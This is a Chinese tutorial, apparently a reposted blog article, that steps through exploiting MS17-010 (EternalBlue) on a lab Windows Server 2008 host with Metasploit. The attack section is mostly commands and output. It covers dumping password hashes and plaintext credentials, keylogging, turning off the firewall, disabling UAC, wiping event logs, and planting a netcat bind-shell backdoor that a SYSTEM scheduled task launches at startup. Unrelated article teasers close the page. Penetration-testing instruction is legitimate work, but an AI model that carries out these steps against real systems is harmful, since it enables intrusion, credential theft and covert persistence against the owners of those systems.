MSF永恒之蓝漏洞利用详解[漏洞验证利用及后渗透]【详细版】

news2025/2/27 1:41:43

漏洞原因

永恒之蓝利用了SMBv1的一个缺陷。SMB(Server Message Block)是一种在Windows环境中广泛使用的网络文件共享协议。这个漏洞允许未经授权的攻击者通过网络发送特制的数据包到目标系统,从而远程执行恶意代码

openvas漏洞扫描结果

 使用msf进行漏洞验证 

进入msf控制台 

进入msf控制台(不显示提示内容)
msfconsole -q

 查找漏洞脚本

搜索ms17-010漏洞脚本
msf6 > search ms17-010
Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

选择辅助模块下的scanner扫描模块下的smb服务下的smb_ms17_010漏洞利用脚本

 进行漏洞验证

msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.10.129
rhost => 192.168.10.129
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+]192.168.10.129:445    - Host is likely VULNERABLE[脆弱的] to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*]192.168.10.129:445    - Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed

漏洞利用

使用漏洞利用模块下的windows模块下的smb服务下的ms17-010_eternalblue永恒之蓝漏洞脚本

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.10.129
rhost => 192.168.10.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Meterpreter session 1 opened (192.168.10.224:4444 -> 192.168.10.129:49162) at 2024-04-05 07:34:17 +0800
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter[载荷] > 

成功入侵目标并开启会话
192.168.10.224:4444 -> 192.168.10.129:49162

后渗透

获取目标主机用户凭证

获取目标密文密码
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:531b3ca954d0e442e64a5815b6794c32:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

kiwi模块获取明文密码
1.加载kiwi模块
meterpreter > load kiwi
2.获取所有系统凭证包含明文密码
meterpreter > creds_all

 对目标主机屏幕截图及监控

截取目标屏幕
meterpreter > screenshot
Screenshot saved to: /root/wZgTwEDm.jpeg
监控屏幕
meterpreter > screenshare

将当前进程进行迁移

meterpreter > ps -S explorer.exe [查看指定进程]
Filtering on 'explorer.exe'[系统管理员用户进程]:持久性较好

Process List
============

 PID   PPID  Name        Arch  Session  User              Path
 ---   ----  ----        ----  -------  ----              ----
 3060  2928  explorer.e  x64   1        WIN-5MQI51VLCDC\  C:\Windows\Explor
             xe                         Administrator     er.EXE
meterpreter > migrate 3060 [迁移到指定进程]
[*] Migrating from 1116 to 3060...
[*] Migration completed successfully.
meterpreter > getuid    [确认迁移结果]
Server username: WIN-5MQI51VLCDC\Administrator

 对目标主机进行键盘记录

执行后渗透模块下的windows模块下的捕获模块下的键盘记录器脚本
meterpreter > run post/windows/capture/keylog_recorder 

[*] Executing module against WIN-5MQI51VLCDC
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20240405075518_default_192.168.10.129_host.windows.key_148128.txt
[记录文件路径]
[*] Recording keystrokes...

更改目标主机防火墙配置指定开启TCP444端口 

meterpreter > shell [通过Meterpreter获得了shell访问权限]
Process 784 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001 [更改字符集编码:解决乱码]
chcp 65001
Active code page: 65001

C:\Windows\system32> netsh advfirewall set allprofiles state off
通过netsh工具将Windows防火墙的所有配置文件(公共、私有、域)都设置为关闭状态
C:\Windows\system32> netsh advfirewall set allprofiles state on
打开防火墙
C:\Windows\system32> netsh firewall add portopening tcp 444 backdoor enable all
开启TCP协议的444端口,允许所有网络配置文件通过该端口进行通信,规则名称为backdoor

 禁用目标主机用户账户控制(UAC)组件

UAC的工作原理

UAC通过限制应用程序访问用户电脑上的重要部分来工作。当一个程序尝试执行可能会对系统安全性或配置产生影响的操作时,UAC会介入,阻止这一操作直至用户给予明确的授权。这意味着即使用户以管理员账户登录,应用程序和任务也会以限制的权限集运行,除非用户明确授权提升权限

禁用用户账户控制(UAC)
C:\Windows\system32>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.


命令解析
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

reg ADD: 这是Windows注册表编辑器命令行工具reg.exe的一个操作,用于添加一个新的注册表键值或更新现有的键值。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System: 指定了注册表项的路径。这里,HKLM(HKEY_LOCAL_MACHINE)是顶级注册表项之一,包含了系统的配置信息。路径指向Windows系统的策略设置部分。

/v EnableLUA: /v参数后面跟随的是要操作的注册表值的名称,在这个例子中是EnableLUA。EnableLUA是控制用户账户控制(UAC)是否启用的注册表值。

/t REG_DWORD: /t参数指定了注册表值的类型,在这里是REG_DWORD,表示数据类型为32位数字。

/d 0: /d参数后面跟随的是要设置的数据值。0表示禁用UAC。

/f: 强制执行命令而不提示用户确认。

退出windows命令行终端并清除日志
C:\Windows\system32>exit
exit
meterpreter > clearev
[*] Wiping 505 records from Application...应用程序(Application)事件日志
[*] Wiping 2026 records from System...系统(System)事件日志
[*] Wiping 1190 records from Security...安全(Security)事件日志

设置持久型后门

简介

防止目标主机修补了漏洞后,无法通过系统漏洞侵入目标主机。植入后门并设置开机自启,攻击者可以通过后门444口远程控制目标主机

nc称为netcat,是一个非常强大的网络工具被称为“网络界的瑞士军刀”。主要用于读取和写入网络连接,支持TCP和UDP协议。nc的功能包括端口扫描、文件传输、网络服务测试、以及作为客户端或服务器在任意端口上监听。

上传后门程序到目标主机指定路径

meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
[*] uploading  : /usr/share/windows-binaries/nc.exe -> c:\windows\system32
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> c:\windows\system32\nc.exe
meterpreter > ls nc.exe
100777/rwxrwxrwx  59392  fil  2024-04-05 09:55:23 +0800  nc.exe

命令分解
upload:这是Meterpreter的一个命令,用于将文件从攻击者的系统上传到被控制系统的指定路径

/usr/share/windows-binaries/nc.exe:这是攻击者系统上的文件路径,指向nc.exe(即Netcat的Windows版本)。Netcat是一个功能强大的网络工具,可以用于监听端口、连接到服务、传输数据等

c:\\windows\\system32:这是目标Windows系统上的路径,其中包含重要的系统文件和程序。将文件上传到这个目录,可以使得上传的文件(在这个例子中是nc.exe)更容易被执行,因为system32目录通常包含在系统的PATH环境变量中。

ls nc.exe:查看文件具体情况

 设置计划任务目标系统开启时运行后门程序

meterpreter > shell
Process 2804 created.
Channel 4 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001 //解决乱码
chcp 65001
Active code page: 65001

C:\Windows\system32>schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
 schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
SUCCESS: The scheduled task "nc" has successfully been created.

命令解析
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart

schtasks:Windows中用来创建、删除、查询或修改系统计划任务的命令行工具。

/create:schtasks命令创建一个新的计划任务。

/tn "nc":/tn参数后面指定的是任务的名称。

/ru system:这个参数指定任务将以何种用户身份运行。在这个例子中,/ru system意味着任务将以系统账户的权限运行,系统账户具有广泛的权限并且可以访问系统上的大多数资源。

/tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe":/tr参数后面跟随的是任务实际执行的命令或程序。这里指定的是执行nc.exe(Netcat),使用-Ldp 444选项在本地监听444端口,并且当连接建立时使用-e cmd.exe选项来执行命令提示符。

/sc onstart:参数定义了任务的调度周期。onstart表示任务会在每次系统启动时运行。
 

 重启靶机进行后门接入

──(root㉿kali)-[~]
└─# nc 192.168.10.129 444 //连接目标主机444端口
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>

C:\Windows\system32>netstat -an \\当前机器上的网络连接和监听端口的清单
netstat -an

�����

  Э��  ���ص�          �ⲿ��        ״
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:23             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:25             0.0.0.0:0              LISTENING
  TCP    192.168.10.129:444     192.168.10.224:37516   ESTABLISHED

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1571728.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

03-自媒体文章发布

自媒体文章发布 1)自媒体前后端搭建 1.1)后台搭建 ①:资料中找到heima-leadnews-wemedia.zip解压 拷贝到heima-leadnews-service工程下,并指定子模块 执行leadnews-wemedia.sql脚本 添加对应的nacos配置 spring:datasource:driver-class-name: com…

Linux目录结构知识

一、认识Linux目录 1) Linux目录结构知识 1) win: 目录顶点是盘符 C/D/E 。所有的目录结构都在不同的盘符下面,不同的盘之间不能沟通的。 2) Linux: 目录顶点是 / ,称为根。所有的目录结构都在根下面,他的目录之间都…

不妨借一步说话,你想知道的关于设计模式的种种

可以点击关于我联系我获取完整PDF (VX:mm14525201314) 1. 请列举出在 JDK 中几个常用的设计模式? 单例模式(Singleton pattern)用于 Runtime,Calendar 和其他的一些类中。 工厂模式(Factory pattern&…

html5如何在使用原生开发的情况下实现组件化

我们知道如何在vue/react中使用组件化开发,那么如果只是一个简单的界面,一个HTML就搞定的事情,你还会去新建一个vue/react项目吗? 在使用原生HTML开发时,我们也会遇到一些常见的功能、模块,那么如何在原生…

java——文件上传

一、文件上传——简介 文件上传的简介:文件上传是指将本地计算机中的文件传输到网络上的服务器或另一台计算机上的过程。在 Web 开发中,文件上传通常指的是将用户通过 Web 页面提交的文件(如图像、文档、音频、视频等)传输到服务器…

Ps:预览调整 32 位 HDR 图像

由于 HDR 图像的动态范围超出了标准计算机显示器的显示范围。在 Photoshop 中打开 HDR 图像时,图像可能会非常暗或出现褪色现象。 Photoshop 提供了专门的预览调整功能,以使标准显示器显示的 HDR 图像的高光和阴影不会太暗或出现褪色现象。 预览调整设置…

最优算法100例之33-数据流的中位数

专栏主页:计算机专业基础知识总结(适用于期末复习考研刷题求职面试)系列文章https://blog.csdn.net/seeker1994/category_12585732.html 题目描述 中位数是有序列表中间的数。如果列表长度是偶数,中位数则是中间两个数的平均值。 例如, [2,3,4] 的中位数是 3 [2,3] 的中位…

C语言中strcpy函数的实现

C语言中strcpy函数的实现 为了便于和strcpy函数区别,以下命令为_strcpy。 描述:实现strcpy,字符串拷贝函数,函数原型如下: char* strcpy(char* _Destination, const char *_Source);_strcpy实现: char*…

详解 Redis 在 Ubuntu 系统上的安装

在 Ubuntu 20.04 安装 Redis 1. 先切换到 root 用户 在 Ubuntu 20.04 中,可以通过以下步骤切换到 root 用户: 输入以下命令,以 root 用户身份登录: sudo su -按回车键,并输入当前用户的密码(即具有 sudo…

【星海随笔】Ubuntu22.04忘记密码

服务器篇: 有问题可留言。 第一步 远程console界面进入该设备 并重启该设备 如果看到这个界面情况 则点击右上角按钮 【发送 CtrlAltDelete】 调出grub启动菜单 NOTE:启动的后半段去点击这个按钮,前半段一直点会一直重启 如果是直连服务器&a…

RK3588 NPU 研究(二)

RK提供了两个模型,mobilenet和YOLO5。 mobilenet模型相对小,使用起来不是很明显yolo5模型大一些,可以对88种目标进行检测,提供检测的结果包括类别、包围框坐标、可信度等信息。基于rknn_yolov5_demo进行分析。 rknn_yolov5_demo基…

解决element-plus table组件 fixed=“right“(left)浮动后横向滚动文字穿透的问题

BUG 版本:element-plus 2.6.1 浏览器:360极速浏览器22.1 (Chromium内核) 组件:el-table组件 问题:在头部/尾部浮动加上斑马条纹后,横向滚动存在文字穿透的问题。具体如图: 白色背景行的文字&#xff0c…

Prometheus+grafana环境搭建Nginx(docker+二进制两种方式安装)(六)

由于所有组件写一篇幅过长,所以每个组件分一篇方便查看,前五篇链接如下 Prometheusgrafana环境搭建方法及流程两种方式(docker和源码包)(一)-CSDN博客 Prometheusgrafana环境搭建rabbitmq(docker二进制两种方式安装)(二)-CSDN博客 Prometheusgrafana环…

骨架屏:提升用户体验的巧妙技巧

🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 🍚 蓝桥云课签约作者、上架课程《Vue.js 和 E…

20240321-1-AB测试面试题

AB测试面试题 1. 介绍一下ABTest的步骤 ABtest就是为了测试和验证模型/项目的效果,在app/pc端设计出多个版本,在同一时间维度下,分别用组成相同/相似的群组去随机访问这些版本,记录下群组的用户体验数据和业务数据,最…

ObjectiveC-10-OOP面向对象程序设计-分类/类别

类别(Category)是OjectiveC的一个特性,主要目的是让开发者可以以模块的形式向类添加方法(扩展),创建标准化的方法列表供给其他人实现。 有些文档也会翻译成类别,其实是一个意思。 概述 语法说明 类别提供了一个简单的…

个人品牌打造IP孵化运营培训教程架构课件

【资料持续更新,以防走丢】 个人品牌打造IP孵化运营培训教程架构课件 部分资料预览 资料部分是网络整理,仅供学习参考。 个人品牌运营合集 (完整资料包含以下内容)目录 详细的个人IP运营方案: 1. 确定个人定位和…

0基础学习Mybatis系列数据库操作框架——自定义类型处理器

大纲 Java模型类定义类型处理器配置文件和类型绑定和字段绑定resultMap中绑定 Mapper代码测试类型对应关系表总结参考资料 我们有时候会在数据库中放入一个扩展字段,用于保存在表设计时尚未考虑到的、未来会加入的一些信息。这个字段我们一般使用字符串存储&#xf…

数学矩阵GCD和lCM(详解)

矩阵乘法 知阵乘法是《线性代数》中的基础内容,但在考察数学的算法题中也会出现。 本节我们学习基础的矩阵乘法规则。 每个矩阵会有一个行数和一个列数,只有当相乘的两个矩阵的左矩阵的列数等于右矩阵的行数 时,才能相乘,否则不允…

JavaSE-10笔记【多线程1(+2024新)】

文章目录 1.进程与线程2.并发与并行3.线程的调度模型4.实现线程4.1 第一种方式:继承Thread4.2 第二种方式:实现Runnable接口4.3 t.start()和t.run()的本质区别?4.4 线程常用的三个方法 5.线程的生命周期(把生命周期图背会&#xf…